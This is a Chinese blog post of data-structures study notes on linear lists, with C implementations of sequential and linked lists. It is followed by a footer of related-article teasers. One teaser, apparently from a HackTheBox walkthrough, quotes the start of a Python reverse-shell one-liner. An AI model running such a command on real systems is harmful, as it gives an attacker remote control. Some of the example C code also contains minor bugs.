【学习笔记】数据结构(二)

线性表

在这里插入图片描述

文章目录

  • 线性表
    • 1、线性结构
    • 2、线性表
      • 2.1 线性表定义
      • 2.2 类型定义
      • 2.2 顺序存储结构(Sequence List)
      • 2.3 链式存储结构
        • 2.3.1 单链表
        • 2.3.2 循环链表
        • 2.3.3 双链表
        • 2.3.4 单链表、循环链表、双向链表的时间效率比较
        • 2.3.5 链式存储结构优缺点
      • 2.4 顺序表和链表比较
    • 3、应用

1、线性结构

线性结构是一个数据元素的有序(次序上的有序)集

基本特征:

  • 集合中必存在唯一的一个“第一元素”;
  • 集合中必存在唯一的一个“最后元素”;
  • 除最后元素外,均有唯一的后继;
  • 除第一元素外,均有唯一的前驱;

2、线性表

2.1 线性表定义

线性表是具有相同特性的数据元素的一个有限序列 (n ≥ 0)

在这里插入图片描述

2.2 类型定义

抽象数据类型线性表的定义如下:
ADT List {
数据对象: D= { ai, ai ∈ ElemSet, i= 1,2, …, n, n≥0} {D为线性表的表长,n=0时线性表为空表}
数据关系: R1={ <ai-1,ai>lai-1,ai∈D, i=2,…,n } {设线性表为(a1,a2,…,ai,…an),称i为a在线性表中的位序}
基本操作:

  • 结构的初始化

    InitList(&L)
    操作结果:构造一个空的线性表L

  • 结构的销毁

    DestroyList(&L)
    初始条件:线性表L已存在。
    操作结果,销毁线性表L

  • 引用型操作 - 操作的结果不改变结构

    ListEmpty(L)
    初始条件:线性表L已存在。
    操作结果:若L为空表,则返回 TRUE, 否则返回 FALSE

    ListLength(L)
    初始条件:线性表L已存在。
    操作结果:返回L中数据元素个数。

    PriorElem(L, cur_ e, &pre_ e)
    初始条件:线性表L已存在。
    操作结果:若 cur_ e是L的数据元素,且不是第一个,则用 pre_ e 返回它的前驱,否则操作
    失败, pre_ e无定义。

    NextElem(L, cur_ e, &next_ e)
    初始条件:线性表L已存在。
    操作结果:若 cur_ e是L的数据元素,且不是最后一个,则用 next_ e 返回它的后继,否则操
    作失败, next_ e 无定义。

    GetElem(L, i, &e)
    初始条件:线性表L已存在, 1≤i≤ListLength(L)
    操作结果:用e返回L中第i个数据元素的值。

    LocateElem(L, e, compare())
    初始条件:线性表L已存在, compare() 是数据元素判定函数。
    操作结果:返回L中第1个与e满足关系 compare() 的数据元素的位序。若这样的数据元素
    不存在,则返回值为 0

    ListTraverse(L, visit())
    初始条件:线性表L已存在。
    操作结果:依次对L的每个数据元素调用函数visit()。一旦 visit() 失败,则操作失败。(visit()用于访问列表中的每个元素)

  • 加工型操作 - 操作的结果改变结构

    ClearList (&L)
    初始条件:线性表L巳存在。
    操作结果:将L重置为空表。

    PutElem(L, i, &e)

    初始条件:线性表L已存在, 1≤i≤ListLength(L)。
    操作结果:L中第i个元素赋值同e的值。

    ListInsert (&L, i, e)
    初始条件:线性表L已存在,1≤i≤ListLength(L)+1。
    操作结果,在L中第i个位置之前插入新的数据元素 e,L 的长度增1。

    ListDelete(&L, i, &e)
    初始条件:线性表L已存在且非空,1≤i≤ListLength(L)。
    操作结果:删除L的第i个数据元素,并用e返回其值,L的长度减1。

} ADT List

2.2 顺序存储结构(Sequence List)

用一组地址连续的存储单元一次存放线性表中的数据元素

在这里插入图片描述

//-----线性表的动态分配顺序存储结构-----
#define LIST_ INIT_SIZE 100 // 线性表存储空间的初始分配量
#define LISTINCREMENT 10  //线性表存储空间的分配增量
typedef struct { 
ElemType *elem; //存储空间基地址 
int length; //当前长度
int listsize;//当前分配的存储容量、以sizeof(ElemType)为单位
}SqList
  • 优点:
    • 存储密度大(结点本身所占存储量/结点结构所占存储量)
    • 可以 随机存取 表中任一元素
  • 缺点:
    • 在插入、删除某一元素时,需要移动大量元素
    • 浪费存储空间
    • 属于静态存储形式,数据元素的个数不能自由扩充
#define _CRT_SECURE_NO_WARNINGS *1
#include <stdio.h>
#include <stdlib.h>

#define OK 1
#define ERROR 0
#define OVERFLOW -1

#define LIST_INIT_SIZE 100 // 线性表存储空间的初始分配量
#define LISTINCREMENT 10   // 线性表存储空间的分配增量

typedef int ElemType;
typedef int Status;
typedef struct
{
	ElemType* elem;
	int length;
	int listsize;
} SqList;

Status InitList_Sq(SqList* L)
{
	// 构造一个空的线性表L
	L->elem = (ElemType*)malloc(sizeof(ElemType) * LIST_INIT_SIZE);
	// 存储分配失败
	if (!L->elem) exit(OVERFLOW);
	// 空表长度为0
	L->length = 0;
	//初始存储容量
	L->listsize = LIST_INIT_SIZE;
	return OK;
}

// 时间复杂度 O(n)
Status ListInsert_Sq(SqList* L, int i, ElemType e)
{
	// i 不合法  [1≤ i ≤ListLength.Sq(L) + 1]
	if (i<1 || i>L->length + 1) return ERROR;
	// 当前存储空间已满,增加分配
	if (L->length >= L->listsize) {
		ElemType* newbase = (ElemType*)realloc(L->elem, (L->listsize + LISTINCREMENT) * sizeof(ElemType));
		// 存储分配失败
		if (!newbase) exit(OVERFLOW);
		// 新基址
		L->elem = newbase;
		// 增加存储容量
		L->listsize += LISTINCREMENT;
	}
	// q为插入位置
	ElemType* q = &(L->elem[i - 1]);
	ElemType* p = &(L->elem[L->length - 1]);
	for (p; p >= q; --p)
	{
		*(p + 1) = *p;//右移
	}
	*q = e;// 插入e
	++L->length;// 表长增1
	return OK;
}

// 时间复杂度 O(n)
Status ListDelete_Sq(SqList* L, int i)
{
	// i 不合法  [1≤ i ≤ListLength.Sq(L) + 1]
	if (i<1 || i>L->length + 1) return ERROR;
	// p为被删除元素的位置
	ElemType* p = &(L->elem[i - 1]);
	// 被删除元素赋值给e
	ElemType e = *p;
	printf("元素%d已被删除\n", e);
	// 表尾元素的位置
	ElemType* q = &(L->elem[L->length - 1]);
	for (++p; p <= q; ++p)
	{
		*(p - 1) = *p;//左移
	}
	--L->length;
	return OK;
}

int LocateElem_Sq(SqList* L, ElemType e)
{
	// 在顺序线性表L中查找第1个值与e相等
	int i = 1;
	for (i; i <= L->length; i++) {
		if (L->elem[i - 1] == e)
		{
			return i;
		}
	}
	return 0;
}

void Print(SqList* L)
{
	int i;
	printf("List: ");
	for (i = 0; i < L->length; i++)
	{
		if (i == L->length - 1)
		{
			printf("%d", L->elem[i]);
		}
		else
		{
			printf("%d, ", L->elem[i]);
		}
	}
	printf("\n");
}

int main()
{
	SqList L;
	int init_status = InitList_Sq(&L);
	if (init_status == 1)
	{
		ListInsert_Sq(&L, 1, 1);
		ListInsert_Sq(&L, 1, 2);
		ListInsert_Sq(&L, 2, 3);
		ListInsert_Sq(&L, 4, 4);
		ListInsert_Sq(&L, 5, 1);
		Print(&L);
		printf("L.length: %d\n", L.length);
		ListDelete_Sq(&L, 1);
		Print(&L);
		printf("L.length: %d\n", L.length);
		int index = LocateElem_Sq(&L, 1);
		printf("1第一次出现的位置:%d", index);
	}
	else
	{
		printf("初始化线性表失败");
	}
	return 0;
}

2.3 链式存储结构

2.3.1 单链表

结点(node)

​ 数据元素的存储映像

​ 数据域: 存储数据元素信息的域

​ 指针域:存储直接后继存储位置的域称为指针域。指针域中存储的信息称做指针或链。n

链表

​ n个结点由指针链组成一个链表

线性链表或单链表

​ 每个结点中只包含一个指针域

头指针

​ 指向链表中第一个结点(即第一个数据元素的存储映像)的指针,整个链表的存取必须从头指针开始进行。

头结点

​ 在单链表的第一个结点之前附设一个结点,称之为头结点。

​ 头结点的数据域可以不存储任何信息,也可存储如线性表的长度等类的附加信息;

​ 头结点的指针域存储指向第一个结点的指针(即第一个元素结点的存储位置)。

​ 若线性表为空表,则头结点的指针域为“空”。

首元结点

​ 是指链表中存储第一个数据元素a1的结点

最后一个结点的指针

​ 最后一个数据元素没有直接后继,则线性链表中最后一个结点的指针为“空”(NULL)。

在这里插入图片描述

单链表是由表头唯一确定,因此单链表可以用头指针的名字来命名若头指针名是L,则把链表称为表L

在这里插入图片描述

假设p是指向线性表中第i个数据元素(结点ai)的指针,则p->next 是指向第i+1个数据元素(结点 ai+1)的指针。换句话说,若p->data=ai,则p->next->data=ai+1。由此,在单链表中,取得第i个数据元素必须从头指针出发寻找( 顺序存取 法),因此,单链表是非随机存取的存储结构。

typedef struct LNode{ //声明结点的类型和指向结点的指针类型
	ElemType data;
	struct LNode* next;
} LNode, *LinkList;   //LinkList为指向结构体LNode的指针类型

//LNode、LinkList都是类型
// 定义链表L LinkList L;(常用) = LNode* L;(不常用)
// 定义结点指针p LNode* p;(常用) = LinkList p;(不常用)
#define _CRT_SECURE_NO_WARNINGS *1
#include <stdio.h>
#include <stdlib.h>
 
typedef struct Node {
	int data;
	struct Node* next;
}Node;

struct Node* head;

void InsertHead(int x) {
	//创建一个节点
	Node* temp = (Node*)malloc(sizeof(Node));
	if (temp != NULL) {
		temp->data = x;
		temp->next = head;
		head = temp;
	}	
}

void Insert(int data, int n) {
	Node* temp1 = (Node*)malloc(sizeof(Node));
	if (temp1 != NULL) {

		temp1->data = data;
		temp1->next = NULL;

		if (n == 1) {
			temp1->next = head;
			head = temp1;
			return;
		}

		Node* temp2 = head;
		int i;
		for (i = 0; i < n - 2; i++) {
			temp2 = temp2->next;
		}
		temp1->next = temp2->next;
		temp2->next = temp1;

	}
}

void Delete(int n) {
	//if (head == NULL) return;
	Node* temp = head;
	if (n == 1) {
		head = temp->next;
		free(temp);
		return;
	}
	int i;
	for (i = 1; i < n - 1; i++) {
		temp = temp->next;
	}
	Node* temp1 = temp->next;
	temp->next = temp1->next;
	free(temp1);
}
//迭代iteration
void Reverse() {
	Node* current,* prev,* next;
	current = head;
	prev = NULL;
	while (current != NULL)
	{
		next = current->next;
		current->next = prev;
		prev = current;
		current = next;
	}
	head = prev;
}
//iteration
void Print() {
	Node* temp = head;
	printf("List is: ");
	while (temp != NULL)
	{
		printf("%d ", temp->data);
		temp = temp->next;
	}
	printf("\n");
}

//递归recursion
void ReverseRecursion(Node* p) {
	if (p->next == NULL) {
		head = p;
		return;
	}
	ReverseRecursion(p->next);
	Node* q = p->next;
	q->next = p;
	p->next = NULL;
}

//recursion - 效率低
void PrintRecursion(Node* p) {
	if (p == NULL) {
		printf("PrintRecursion: ");
		return;
	}
	PrintRecursion(p->next);
	printf("%d ", p->data);
}

int main() {
	head = NULL;

	//头部插入一个节点
	/*printf("How many numbers?\n");
	int n, i, x;
	scanf("%d", &n);
	for (i = 0; i < n; i++) {
		printf("Enter the number \n");
		scanf("%d", &x);
		InsertHead(x);
		Print();
	}*/

	//任意位置插入节点
	Insert(2, 1);
	Insert(4, 2);
	Insert(6, 3);
	Insert(5, 4);
	Print();

	//任意位置删除节点
	/*Delete(3);
	Print();
	Delete(1);
	Print();*/

	/*
	反转链表  
	head -> 2 | 地址100 -> 4 | 地址200 -> 6 | 地址150 -> 5 | 地址250 -> NULL
	NULL <- 2 | 地址100 <- 4 | 地址200 <- 6 | 地址150 <- 5 | 地址250 <- head
	*/
	Reverse();
	Print();

	ReverseRecursion(head);
	Print();
	PrintRecursion(head);

	return 0;
}
2.3.2 循环链表

循环链表

​ 首尾相接的链表(表中最后一个结点的指针域指向头节点,整个链表形成一个环)

​ 终止条件 不是判断p或p->next是否为空,而是判断是否等于头指针

优点

​ 从表中任一结点出发均可找到表中其他结点

使用更多的是尾指针

在这里插入图片描述

2.3.3 双链表

双链表

​ 每个结点中包含两个指针域

​ 在单链表的每个结点里再增加一个指向其直接前驱的指针域,这样链表中就形成了有两个方向不同的链

在这里插入图片描述

特点

​ 对称性 p ->prior ->next = p = p ->next ->prior

双向循环链表

  • 让头结点的前驱指针指向链表的最后一个结点
  • 让最后一个结点的后继指针指向头结点

在这里插入图片描述

typedef struct DuLNode {
	int data;
	struct LNode* prior; 
	struct LNode* next;
} DuLNode, * DuLinkList;
#define _CRT_SECURE_NO_WARNINGS *1
#include <stdio.h>
#include <stdlib.h>
 
typedef struct Node {
	int data;
	struct Node* next;
	struct Node* prev;
}Node;
struct Node* head;

//创建节点
Node* GetNewNode(int x) {
	Node* newNode = (Node*)malloc(sizeof(Node));
	newNode->data = x;
	newNode->next = NULL;
	newNode->prev = NULL;
	return newNode;
}

void InsertAtHead(int x) {
	Node* temp = GetNewNode(x);
	if (head == NULL) {
		head = temp;
		return;
	}
	head->prev = temp;
	temp->next = head;
	head = temp;
}

void InsertAtTail(int x) {
	Node* temp = GetNewNode(x);
	if (head == NULL) {
		head = temp;
		return;
	}
	Node* temp1 = head;
	while (temp1->next != NULL) {
		temp1 = temp1->next;
	}
	temp1->next = temp;
	temp->prev = temp1;
}

void Print() {
	Node* temp = head;
	printf("List: ");
	while (temp != NULL) {
		printf("%d ", temp->data);
		temp = temp->next;
	}
	printf("\n");
}

void ReversePrint() {
	Node* temp = head;
	if (temp == NULL) return;
	while (temp->next != NULL) {
		temp = temp->next;
	}
	printf("Reverse: ");
	while (temp != NULL) {
		printf("%d ", temp->data);
		temp = temp->prev;
	}
}

int main() {
	head = NULL;
	InsertAtHead(2);
	InsertAtHead(4);
	InsertAtHead(6);
	InsertAtTail(1);
	InsertAtTail(3);
	InsertAtTail(5);
	Print();
	ReversePrint();
	return 0;
}
2.3.4 单链表、循环链表、双向链表的时间效率比较

在这里插入图片描述

2.3.5 链式存储结构优缺点

链式存储结构的优点

  • 结点空间可以动态申请和释放;
  • 数据元素的逻辑次序靠结点的指针来指示,插入和删除时不需要移动数据元素。

链式存储结构的缺点

  • 存储密度小,每个结点的指针域需额外占用存储空间。当每个结点的数据域所占字节不多时,指针域所占存储空间的比重显得很大。(存储密度=结点数据本身占用的空间/结点占用的空间总量。 一般地,存储密度越大,存储空间的利用率就越高,显然,顺序表的存储密度为1(100%),而链表的存储密度小于1。)
  • 链式存储结构是非随机存取结构。对任一结点的操作都要从头指针依指针链查找到该结点,这增加了算法的复杂度。

2.4 顺序表和链表比较

在这里插入图片描述

3、应用

  • 线性表的合并

    问题描述:

    假设利用两个线性表La和Lb分别表示两个集合A和B,现要求一个新的集合A=AUB

    La=(7,5,3,11) Lb=(2,6,3) --> La=(7,5,3,11,2,6)

    //顺序表
    #define _CRT_SECURE_NO_WARNINGS *1
    #include <stdio.h>
    #include <stdlib.h>
    
    #define LIST_INIT_SIZE  100
    #define LISTINCREMENT  10
    
    typedef struct {
    	int* elem;
    	int length;
    	int listsize;
    }SqList;
    
    int InitList_Sq(SqList* L)
    {
    	L->elem = (int*)malloc(sizeof(int) * LIST_INIT_SIZE);
    	if (!L->elem) exit(0);
    	L->length = 0;
    	//初始存储容量
    	L->listsize = LIST_INIT_SIZE;
    	return 1;
    }
    
    int InsertList_Sq(SqList* L, int i, int e)
    {
    	if (i<1 || i>L->length + 1) return -1;
    	if (L->length >= L->listsize) {
    		int* newbase = (int*)realloc(L->elem, sizeof(int) * (L->listsize + LISTINCREMENT));
    		if (!newbase) return -1;
    		L->elem = newbase;
    		L->listsize += LISTINCREMENT;
    	}
    	int* p = &(L->elem[i - 1]);
    	int* q = &(L->elem[L->length - 1]);
    	for (q; p <= q; --q)
    		*(q + 1) = *q;
    	*p = e;
    	++L->length;
    	return 1;
    }
    
    int LocateElem(SqList* L, int e) {
    	int j = 1;
    	for (j; j < L->length + 1; j++) {
    		if (L->elem[j - 1] == e)
    		{
    			return 1;
    		}
    	}
    	return 0;
    }
    
    //A∪B 时间复杂度 O(La->length * Lb->length)
    int Union_Sq(SqList* La, SqList* Lb)
    {
    	int i=1;
    	for (i; i < Lb->length + 1; i++) {
    		int elem_b = Lb->elem[i - 1];
    		if (!LocateElem(La, elem_b))
    		{
    			InsertList_Sq(La, La->length + 1, elem_b);
    		}
    	}
    }
    
    void Print(SqList* L)
    {
    	int i;
    	printf("List: ");
    	for (i = 0; i < L->length; i++)
    	{
    		if (i == L->length - 1)
    		{
    			printf("%d", L->elem[i]);
    		}
    		else
    		{
    			printf("%d, ", L->elem[i]);
    		}
    	}
    	printf("\n");
    }
    
    int main() 
    {
    	SqList La, Lb, Lc;
    
    	InitList_Sq(&La);
    	InsertList_Sq(&La, 1, 7);
    	InsertList_Sq(&La, 2, 5);
    	InsertList_Sq(&La, 3, 3);
    	InsertList_Sq(&La, 4, 11);
    	Print(&La);
    
    	InitList_Sq(&Lb);
    	InsertList_Sq(&Lb, 1, 2);
    	InsertList_Sq(&Lb, 2, 6);
    	InsertList_Sq(&Lb, 3, 3);
    	Print(&Lb);
    
    	Union_Sq(&La, &Lb);
    	Print(&La);
    	return 0;
    }
    
  • 有序表的合并

    问题描述:

    已知线性表La 和Lb中的数据元素按值非递减有序排列,现要求将La和Lb归并为一个新的线性表Lc,且Lc中的数据元素仍按值非递减有序排列。

    La=(1,7,8) Lb=(2,4, 6,8,10,11) --> Lc=(1,2,4,6,7,8,8,10,11)

    //顺序表
    #define _CRT_SECURE_NO_WARNINGS *1
    #include <stdio.h>
    #include <stdlib.h>
    
    #define LIST_INIT_SIZE  100
    #define LISTINCREMENT  10
    
    typedef struct {
    	int* elem;
    	int length;
    	int listsize;
    }SqList;
    
    int InitList_Sq(SqList* L)
    {
    	// 构造一个空的线性表L
    	L->elem = (int*)malloc(sizeof(int) * LIST_INIT_SIZE);
    	// 存储分配失败
    	if (!L->elem) exit(0);
    	// 空表长度为0
    	L->length = 0;
    	//初始存储容量
    	L->listsize = LIST_INIT_SIZE;
    	return 1;
    }
    
    int InsertList_Sq(SqList* L, int i, int e)
    {
    	if (i<1 || i>L->length + 1) return -1;
    	if (L->length >= L->listsize) {
    		int* newbase = (int*)realloc(L->elem, sizeof(int) * (L->listsize + LISTINCREMENT));
    		if (!newbase) return -1;
    		L->elem = newbase;
    		L->listsize += LISTINCREMENT;
    	}
    	int* p = &(L->elem[i - 1]);
    	int* q = &(L->elem[L->length - 1]);
    	for (q; p <= q; --q)
    		*(q + 1) = *q;
    	*p = e;
    	++L->length;
    	return 1;
    }
    
    //时间复杂度 O(La->length + Lb->length)
    //空间复杂度 O(La->length + Lb->length)
    void Merge(SqList La, SqList Lb, SqList* Lc)
    {
    	int* pa = La.elem;
    	int* pb = Lb.elem;
    	Lc->length = Lc->listsize = La.length + Lb.length;
    	int* pc = Lc->elem = (int*)malloc(Lc->listsize * sizeof(int));
    	if (!Lc->elem) exit(0);
    	int* pa_last = La.elem + La.length - 1;
    	int* pb_last = Lb.elem + Lb.length - 1;
    	while (pa <= pa_last && pb <= pb_last)
    	{
    		if (*pa <= *pb) {
    			*pc++ = *pa++;
    		}
    		else
    		{
    			*pc++ = *pb++;
    		}
    
    	}
    	while (pa <= pa_last)
    	{
    		*pc++ = *pa++;
    	}
    	while (pb <= pb_last)
    	{
    		*pc++ = *pb++;
    	}
    }
    
    void Print(SqList* L)
    {
    	int i;
    	printf("List: ");
    	for (i = 0; i < L->length; i++)
    	{
    		if (i == L->length - 1)
    		{
    			printf("%d", L->elem[i]);
    		}
    		else
    		{
    			printf("%d, ", L->elem[i]);
    		}
    	}
    	printf("\n");
    }
    
    int main() 
    {
    	SqList La, Lb, Lc;
    
    	InitList_Sq(&La);
    	InsertList_Sq(&La, 1, 1);
    	InsertList_Sq(&La, 2, 7);
    	InsertList_Sq(&La, 3, 8);
    	Print(&La);
    
    	InitList_Sq(&Lb);
    	InsertList_Sq(&Lb, 1, 2);
    	InsertList_Sq(&Lb, 2, 4);
    	InsertList_Sq(&Lb, 3, 6);
    	InsertList_Sq(&Lb, 4, 8);
    	InsertList_Sq(&Lb, 5, 10);
    	InsertList_Sq(&Lb, 6, 11);
    	Print(&Lb);
    
    	Merge(La, Lb, &Lc);
    	Print(&Lc);
    	return 0;
    }
    

参考:

教材:严蔚敏《数据结构》(C语言版).pdf

视频:

https://www.bilibili.com/video/BV1nJ411V7bd?p=10&vd_source=a89593e8d33b31a56b894ca9cad33d33

https://www.bilibili.com/video/BV1Fv4y1f7T1/?p=19&spm_id_from=333.880.my_history.page.click&vd_source=a89593e8d33b31a56b894ca9cad33d33

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/666704.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

可用于嵌入式的解释器调研对比,及lua解释器介绍

嵌入式不一定只能用C! ---------------------------------------------------------------------------------------手动分割线-------------------------------------------------------------------------------- 本文章参考了以下文章&#xff1a; 这里是引用 ------------…

城市之旅:使用 LLM 和 Elasticsearch 简化地理空间搜索(二)

我们在之前的文章 “城市之旅&#xff1a;使用 LLM 和 Elasticsearch 简化地理空间搜索&#xff08;一&#xff09;”&#xff0c;在今天的练习中&#xff0c;我将使用本地部署来做那里面的 Jupyter notebook。 安装 Elasticsearch 及 Kibana 如果你还没有安装好自己的 Elasti…

字符串 | 字符串匹配之 KMP 算法以及 C++ 代码实现

目录 1 为什么使用 KMP&#xff1f;2 什么是 next 数组&#xff1f;2.1 什么是字符串的前后缀&#xff1f;2.2 如何计算 next 数组&#xff1f; 3 KMP 部分的算法4 完整代码 &#x1f608;前言&#xff1a;这篇文章比较长&#xff0c;但我感觉自己是讲明白了的 1 为什么…

迈的普拉姆利普绘图:深入解析与实战应用

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、引言&#xff1a;matplotlib绘图的基本原理 代码案例 二、深入了解&#xff1a;matplo…

Android更新优化 - 增量更新是如何节省用户时间和流量的

增量更新和全量更新 我想玩过大型手游的人都知道&#xff0c;手游的安装包非常大&#xff0c;因为资源图片众多。而你每次更新都把所有文件都更新下来&#xff0c;是非常耗时的&#xff0c;对吧。耗时是一个方面&#xff0c;有些人在户外开的是移动网络&#xff0c;动不动就几…

vue3 侦听器

侦听器示例 计算属性允许我们声明性地计算衍生值。然而在有些情况下&#xff0c;我们需要在状态变化时执行一些“副作用”&#xff1a;例如更改 DOM&#xff0c;或是根据异步操作的结果去修改另一处的状态。 在组合式 API 中&#xff0c;我们可以使用 watch 函数在每次响应式…

模型构建器之迭代器

上一篇我们介绍了模型构建器的基础&#xff0c;将一个工作流串联起来&#xff0c;然后做成模型工具。今天我们介绍模型构建器的第二个重要功能——迭代&#xff0c;也就是程序中的循环。 先来看一个例子。要给数据库中所有要素类添加一个相同的字段&#xff0c;该怎么做&#…

Diffusion Model, Stable Diffusion, Stable Diffusion XL 详解

文章目录 Diffusion Model生成模型DDPM概述向前扩散过程前向扩散的逐步过程前向扩散的整体过程 反向去噪过程网络结构训练和推理过程训练过程推理过程优化目标 详细数学推导数学基础向前扩散过程反向去噪过程 Stable Diffusion组成结构运行流程网络结构变分自编码器 (VAE)文本编…

ctfshow-web入门-信息搜集(web1-web10)

勇师傅还是想打 CTF 目录 1、web1 2、web2 3、web3 4、web4 5、web5 6、web6 7、web7 8、web8 9、web9 10、web10 1、web1 开发注释未及时删除 F12 看源码 拿到 flag&#xff1a;ctfshow{99854d7a-54a2-491a-8626-d5bfe7b5c2ca} 2、web2 js前台拦截 无效操作 按 F12 …

分享 ASP.NET Core Web Api 中间件获取 Request Body 两个方法

不废话&#xff0c;直接上正文。_ 方法一 思路&#xff1a;利用 BodyReader 直接读取 HttpContext 的 Request Body&#xff0c;再反序列化 var reqStream context.Request.BodyReader.AsStream(); var jsonObj JsonSerializer.Deserialize<CheckAndParsingMiddlewareM…

5.25.1 用于组织病理学图像分类的深度注意力特征学习

提出了一种基于深度学习的组织病理学图像分类新方法。我们的方法建立在标准卷积神经网络 (CNN) 的基础上,并结合了两个独立的注意力模块,以实现更有效的特征学习。 具体而言,注意力模块沿不同维度推断注意力图,这有助于将 CNN 聚焦于关键图像区域,并突出显示判别性特征通…

Xilinx IP解析之DDS Compiler v6.0(1)—— 基础概念

前言 DDS&#xff08;Direct Digital Synthesis&#xff0c;直接数字综合器&#xff09;是一种正弦波发生器&#xff0c;在Quartus中它被称为NCO&#xff08;Numerically Controlled Oscillator&#xff0c;数控振荡器&#xff09;&#xff0c;两者是对同一功能IP核的不同称呼。…

VS2017中使用qt翻译家,除ui界面外其他用tr包裹的字符串在翻译家中显示为乱码

1、ui界面中的中文,可以正常显示 2、其他用tr包裹的字符串,显示为乱码 3、解决 改为utf8保存。 然后更新翻译文件,重新打开发现已经ok了。 参考博客: https://blog.csdn.net/zhou714534957/article/details/124948822 https://blog.csdn.net/weixin_52689816/article/d…

【如何用爬虫玩转石墨文档?】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

【全开源】教育系统(FastAdmin+ThinkPHP+Uniapp)

一款基于FastAdminThinkPHPUniapp开发的西陆教育系统&#xff08;微信小程序、移动端H5、安卓APP、IOS-APP&#xff09;&#xff0c;支持线上线下课程报名&#xff0c;线上课程支持视频课程、音频课程、图文课程、课程在线支付。 塑造教育未来的基石 引言&#xff1a;教育系统…

Fully Convolutional Networks for Semantic Segmentation--论文笔记

论文笔记 资料 1.代码地址 2.论文地址 https://arxiv.org/abs/1411.4038 3.数据集地址 论文摘要的翻译 卷积网络是强大的视觉模型&#xff0c;可以产生特征层次结构。我们表明&#xff0c;卷积网络本身&#xff0c;经过端到端&#xff0c;像素对像素的训练&#xff0c;在…

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…

【SpringBoot】JWT+Token之Token自动续期

目录 回顾一下JWT基于JWT的认证流程安全性性能一次性 Token过期影响解决智障思路分析 token定时检查续期思路分析大致代码问题 双token【重点】思路分析补充微信网页授权方案 实现1.依赖2.配置3.拦截器及配置4.其他类5.token映射类6.jwt工具类7.controller类8.测试 总结双token…

HackTheBox-Machines--Bashed

Bashed 测试过程 1 信息收集 NMAP 80 端口 目录扫描 http://10.129.155.171/dev/phpbash.min.php http://10.129.155.171/dev/phpbash.php 半交互式 shell 转向 交互式shell python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co…

模型 FABE(特性 优势 好处 证据)法则

说明&#xff1a;系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。特性、优势、好处、证据&#xff0c;一气呵成。 1 FABE法则的应用 1.1 FABE法则营销商用跑步机 一家高端健身器材公司的销售代表正在向一家新开的健身房推销他们的商用跑步机。以下…